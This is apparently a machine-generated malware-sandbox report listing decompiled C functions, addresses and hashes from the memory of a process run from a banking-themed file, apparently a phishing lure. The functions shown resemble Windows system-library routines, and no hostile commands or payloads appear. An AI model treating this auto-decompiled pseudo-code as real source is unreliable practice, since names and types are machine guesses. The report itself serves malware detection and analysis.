                                                                        			E013314FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x136d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E012BFA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E01297D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

















                                                                        0x013314fb
                                                                        0x013314fb
                                                                        0x0133150a
                                                                        0x01331514
                                                                        0x01331519
                                                                        0x0133151b
                                                                        0x01331526
                                                                        0x0133152c
                                                                        0x01331534
                                                                        0x01331537
                                                                        0x0133153a
                                                                        0x01331545
                                                                        0x01331557
                                                                        0x01331547
                                                                        0x01331550
                                                                        0x01331550
                                                                        0x01331562
                                                                        0x01331563
                                                                        0x01331565
                                                                        0x0133156a
                                                                        0x0133157f

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 5e5760aa291ba4696f5507f9827096e86ed2b044fa8e9789f4bf673fe4f21a5c
                                                                        • Instruction ID: 06c0fb411cff854c3a8e2780eada27264ca34c7b9c440a53ce9211ac9de57fce
                                                                        • Opcode Fuzzy Hash: 5e5760aa291ba4696f5507f9827096e86ed2b044fa8e9789f4bf673fe4f21a5c
                                                                        • Instruction Fuzzy Hash: 61019E71A10248AFDB14DFA9D841EAEBBB8EF45700F044066F905EB380DA70DA00CB94
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012758EC Relevance: .0, Instructions: 47COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 91%
                                                                        			E012758EC(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0x136d360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0x1255c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E01275943() != 0 &&  *0x1365320 > 5) {
					E012F7B5E( &_v44, _t27);
					_t22 =  &_v28;
					E012F7B5E( &_v28, _t28);
					_t11 = E012F7B9C(0x1365320, 0x125bf15,  &_v28, _t22, 4,  &_v76);
				}
				return E012BB640(_t11, _t17, _v8 ^ _t29, 0x125bf15, _t27, _t28);
			}















                                                                        0x012758fb
                                                                        0x012758fe
                                                                        0x01275906
                                                                        0x0127590a
                                                                        0x0127593c
                                                                        0x0127593c
                                                                        0x0127590c
                                                                        0x0127590c
                                                                        0x01275911
                                                                        0x00000000
                                                                        0x01275913
                                                                        0x01275913
                                                                        0x01275913
                                                                        0x01275911
                                                                        0x0127591d
                                                                        0x012d1035
                                                                        0x012d103c
                                                                        0x012d103f
                                                                        0x012d1056
                                                                        0x012d1056
                                                                        0x0127593b

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: abf218c2347cf17560289c01520d64a133777bd8806066e28d5d582284e102df
                                                                        • Instruction ID: 490a35c0c2ea174334a07a850627513ff8a2ee98c6c0908f0927bb6e8bda9c89
                                                                        • Opcode Fuzzy Hash: abf218c2347cf17560289c01520d64a133777bd8806066e28d5d582284e102df
                                                                        • Instruction Fuzzy Hash: F0018F31A20109DBC714EA69D851ABFB7ACEB42660F544069AA0597248EE70DD058794
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0128B02A Relevance: .0, Instructions: 46COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0128B02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E01297D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E012F7016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}







                                                                        0x0128b037
                                                                        0x0128b039
                                                                        0x0128b03b
                                                                        0x0128b040
                                                                        0x012da60e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012da61d
                                                                        0x0128b04b
                                                                        0x0128b04e
                                                                        0x012da627
                                                                        0x012da634
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012da641
                                                                        0x012da653
                                                                        0x012da643
                                                                        0x012da64c
                                                                        0x012da64c
                                                                        0x012da65b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012da66c
                                                                        0x0128b057
                                                                        0x0128b057
                                                                        0x0128b057
                                                                        0x0128b046
                                                                        0x0128b046
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
                                                                        • Instruction ID: c75265cf1c408b3a6cb5b099332a7be41e4d85b79d77510dd48bb50897f537c9
                                                                        • Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
                                                                        • Instruction Fuzzy Hash: B5018F32221982DFE722971CC988F767BD8EB85B54F0940A5FB19CBA91D768DC41C660
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01341074 Relevance: .0, Instructions: 46COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E01341074(void* __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E0134165E(__ebx, 0x1368ae4, (__edx -  *0x1368b04 >> 0x14) + (__edx -  *0x1368b04 >> 0x14), __edi, __ecx, (__edx -  *0x1368b04 >> 0x14) + (__edx -  *0x1368b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E0133AFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E01297D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E0132FE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}











                                                                        0x01341074
                                                                        0x01341080
                                                                        0x01341082
                                                                        0x0134108a
                                                                        0x0134108f
                                                                        0x01341093
                                                                        0x013410ab
                                                                        0x013410ab
                                                                        0x013410c3
                                                                        0x013410cf
                                                                        0x013410e1
                                                                        0x013410d1
                                                                        0x013410da
                                                                        0x013410da
                                                                        0x013410e9
                                                                        0x013410f5
                                                                        0x013410f5
                                                                        0x013410fe

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 19324ba1ddc8af2e877f0d692c96cacb04783bedcde407e1c8d4f2fa8646a65d
                                                                        • Instruction ID: 2bba4a20153c12aa9ca9f6abb720102e4695b742e432f7f376889a6af3453e64
                                                                        • Opcode Fuzzy Hash: 19324ba1ddc8af2e877f0d692c96cacb04783bedcde407e1c8d4f2fa8646a65d
                                                                        • Instruction Fuzzy Hash: 0F014C72604B429FC721EF6CC804B1A7BE9ABD4318F04C519F98583694DE30F484CB92
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0132FE3F Relevance: .0, Instructions: 46COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 59%
                                                                        			E0132FE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x136d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E012BFA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E01297D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}
















                                                                        0x0132fe3f
                                                                        0x0132fe3f
                                                                        0x0132fe4e
                                                                        0x0132fe58
                                                                        0x0132fe5d
                                                                        0x0132fe5f
                                                                        0x0132fe6a
                                                                        0x0132fe72
                                                                        0x0132fe75
                                                                        0x0132fe78
                                                                        0x0132fe83
                                                                        0x0132fe95
                                                                        0x0132fe85
                                                                        0x0132fe8e
                                                                        0x0132fe8e
                                                                        0x0132fea0
                                                                        0x0132fea1
                                                                        0x0132fea3
                                                                        0x0132fea8
                                                                        0x0132febd

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 265d1c8d786be79610e4f534989412ca0dac4040d920f61ca3996b06633d5ae2
                                                                        • Instruction ID: f02ab2c52406accfa7d8c101470fdb89491c6aa7f313e06ed6d2a4c068f3d490
                                                                        • Opcode Fuzzy Hash: 265d1c8d786be79610e4f534989412ca0dac4040d920f61ca3996b06633d5ae2
                                                                        • Instruction Fuzzy Hash: 83018471E10259AFDB14EFA9D845FBEBBBCEF44704F004066F904AB391DA709901C7A4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0132FEC0 Relevance: .0, Instructions: 46COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 59%
                                                                        			E0132FEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x136d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E012BFA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E01297D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}
















                                                                        0x0132fec0
                                                                        0x0132fec0
                                                                        0x0132fecf
                                                                        0x0132fed9
                                                                        0x0132fede
                                                                        0x0132fee0
                                                                        0x0132feeb
                                                                        0x0132fef3
                                                                        0x0132fef6
                                                                        0x0132fef9
                                                                        0x0132ff04
                                                                        0x0132ff16
                                                                        0x0132ff06
                                                                        0x0132ff0f
                                                                        0x0132ff0f
                                                                        0x0132ff21
                                                                        0x0132ff22
                                                                        0x0132ff24
                                                                        0x0132ff29
                                                                        0x0132ff3e

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: dd14cf37346830f0f2a0bbc6cc4eec73f2a5555eb784bf864446c1af4cf344e3
                                                                        • Instruction ID: 41a7d8ea78aa10055ed5a1382b290595447e101f6d7a9a81deab3835da0b06fa
                                                                        • Opcode Fuzzy Hash: dd14cf37346830f0f2a0bbc6cc4eec73f2a5555eb784bf864446c1af4cf344e3
                                                                        • Instruction Fuzzy Hash: 73017171A10219AFDB14EBA9D845EBFBBBCEB45700F004066F900AB290DA709A01CB94
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01348A62 Relevance: .0, Instructions: 44COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 54%
                                                                        			E01348A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x136d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E01297D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E012BB640(E012B9AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}
















                                                                        0x01348a62
                                                                        0x01348a71
                                                                        0x01348a79
                                                                        0x01348a82
                                                                        0x01348a85
                                                                        0x01348a89
                                                                        0x01348a8c
                                                                        0x01348a8f
                                                                        0x01348a92
                                                                        0x01348a95
                                                                        0x01348a9f
                                                                        0x01348ab1
                                                                        0x01348aa1
                                                                        0x01348aaa
                                                                        0x01348aaa
                                                                        0x01348abc
                                                                        0x01348abd
                                                                        0x01348abf
                                                                        0x01348ac4
                                                                        0x01348ada

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: ed9c51607c01ff90ec8411861ed5e46e525f7b9fc601fbf53dd995bbc548e45d
                                                                        • Instruction ID: c6909532ae1e93dc8ef6db5d35ed2c0688cc1e770617732603f513a88dfaf98a
                                                                        • Opcode Fuzzy Hash: ed9c51607c01ff90ec8411861ed5e46e525f7b9fc601fbf53dd995bbc548e45d
                                                                        • Instruction Fuzzy Hash: 56012CB1A1021DAFDB00DFA9D9819EEBBF8EF59350F14405AFA04F7351D674A900CBA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01348ED6 Relevance: .0, Instructions: 44COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 54%
                                                                        			E01348ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x136d360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E01297D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}


















                                                                        0x01348ed6
                                                                        0x01348ee5
                                                                        0x01348eed
                                                                        0x01348ef0
                                                                        0x01348efa
                                                                        0x01348f03
                                                                        0x01348f0c
                                                                        0x01348f15
                                                                        0x01348f24
                                                                        0x01348f27
                                                                        0x01348f31
                                                                        0x01348f43
                                                                        0x01348f33
                                                                        0x01348f3c
                                                                        0x01348f3c
                                                                        0x01348f4e
                                                                        0x01348f4f
                                                                        0x01348f51
                                                                        0x01348f56
                                                                        0x01348f69

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d2f36b33118587ea0815429f358292889623640bdb1800f6b98640d447ff937d
                                                                        • Instruction ID: 752e32e64fc5112d8f6f2ddfd45d6600dc8ff37665c7cddc10e0beec7aa9be12
                                                                        • Opcode Fuzzy Hash: d2f36b33118587ea0815429f358292889623640bdb1800f6b98640d447ff937d
                                                                        • Instruction Fuzzy Hash: 93112170E142499FDB04DFA9D441BAEFBF4FF18700F1442AAE518EB781E6349940CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0127DB60 Relevance: .0, Instructions: 43COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0127DB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E0127DB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E0127E7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L0127E8B0(__ecx, _t14, 0xfff);
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}







                                                                        0x0127db64
                                                                        0x0127db66
                                                                        0x0127db6b
                                                                        0x0127dbaa
                                                                        0x0127db71
                                                                        0x0127db76
                                                                        0x0127db7a
                                                                        0x0127dba3
                                                                        0x0127db7c
                                                                        0x0127db87
                                                                        0x0127db8b
                                                                        0x012d4fa1
                                                                        0x012d4fb3
                                                                        0x012d4fb8
                                                                        0x0127db91
                                                                        0x0127db96
                                                                        0x0127db98
                                                                        0x0127db98
                                                                        0x0127db8b
                                                                        0x0127db7a
                                                                        0x0127db9d
                                                                        0x0127dba2

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
                                                                        • Instruction ID: 8853beb287b7c03c47aa8b0938ca7bfcedf9e2104b9e3d9fb8c9b1620168479e
                                                                        • Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
                                                                        • Instruction Fuzzy Hash: C8F0F633261627DFD7326AD98880F7BBA958FD1A60F160035F3059B344DEB08C0286E4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0127B1E1 Relevance: .0, Instructions: 42COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0127B1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E01297D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E01297D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E012F7016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}






                                                                        0x0127b1e8
                                                                        0x0127b1ea
                                                                        0x0127b1f3
                                                                        0x012d4a17
                                                                        0x0127b1f9
                                                                        0x0127b1f9
                                                                        0x0127b1f9
                                                                        0x0127b201
                                                                        0x012d4a21
                                                                        0x012d4a2e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d4a3b
                                                                        0x012d4a4d
                                                                        0x012d4a3d
                                                                        0x012d4a46
                                                                        0x012d4a46
                                                                        0x012d4a55
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0127b20a
                                                                        0x0127b20a
                                                                        0x0127b20a
                                                                        0x0127b20a

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
                                                                        • Instruction ID: 405e577556eadb6688d4a4372fa1cd868c29457489d1ebc0dec81657ffceb15b
                                                                        • Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
                                                                        • Instruction Fuzzy Hash: F001D1322316C19BE722A75DC804F6ABB99EF52750F0840A1FB148BAB6D6B8C800C625
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0130FE87 Relevance: .0, Instructions: 38COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 46%
                                                                        			E0130FE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x136d360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E01297D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}
















                                                                        0x0130fe96
                                                                        0x0130fe9e
                                                                        0x0130fea1
                                                                        0x0130fead
                                                                        0x0130feb3
                                                                        0x0130feb9
                                                                        0x0130fec3
                                                                        0x0130fed5
                                                                        0x0130fec5
                                                                        0x0130fece
                                                                        0x0130fece
                                                                        0x0130fee0
                                                                        0x0130fee1
                                                                        0x0130fee3
                                                                        0x0130fee8
                                                                        0x0130fefb

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
